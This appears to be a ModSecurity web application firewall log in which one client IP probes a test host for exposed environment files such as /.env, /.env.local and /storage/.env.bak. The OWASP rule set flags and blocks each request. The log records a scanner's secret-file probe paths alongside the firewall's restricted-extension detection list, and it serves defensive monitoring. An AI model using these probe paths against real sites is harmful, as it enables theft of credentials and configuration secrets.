[Thu Oct 30 20:07:11.371261 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKInwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.371460 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKInwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.371719 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKInwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.371936 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKInwAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.885476 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKIoAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.885733 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKIoAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:11.885942 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env&quot;] [unique_id &quot;aQO3X5dseHRrfd8_FeKIoAAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.391303 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIoQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.391629 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIoQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.391880 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.save&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIoQAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.905575 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIogAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.905774 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIogAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.906029 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIogAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:12.906249 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.bak&quot;] [unique_id &quot;aQO3YJdseHRrfd8_FeKIogAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:13.528714 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3YZdseHRrfd8_FeKIowAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:13.528912 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /storage/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3YZdseHRrfd8_FeKIowAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:13.529162 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3YZdseHRrfd8_FeKIowAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:13.529365 2025] [:error] [pid 3882091] [client 13.212.120.214:35148] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/storage/.env.old&quot;] [unique_id &quot;aQO3YZdseHRrfd8_FeKIowAAAAY&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:19.664449 2025] [:error] [pid 3884129] [client 13.212.120.214:40568] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.js&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQO3Z2KXcG4E0zicfJUK0QAAAAE&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:19.664702 2025] [:error] [pid 3884129] [client 13.212.120.214:40568] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQO3Z2KXcG4E0zicfJUK0QAAAAE&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:19.664906 2025] [:error] [pid 3884129] [client 13.212.120.214:40568] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.js&quot;] [unique_id &quot;aQO3Z2KXcG4E0zicfJUK0QAAAAE&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.227882 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-loQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.228160 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-loQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.228343 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-loQAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.741792 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-logAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.742066 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-logAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:52.742249 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aQO3iEIRheG_olLGGo-logAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:53.301676 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lowAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:53.301962 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lowAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:07:53.302145 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aQO3iUIRheG_olLGGo-lowAAAAI&quot;], referer: https://www.google.com/
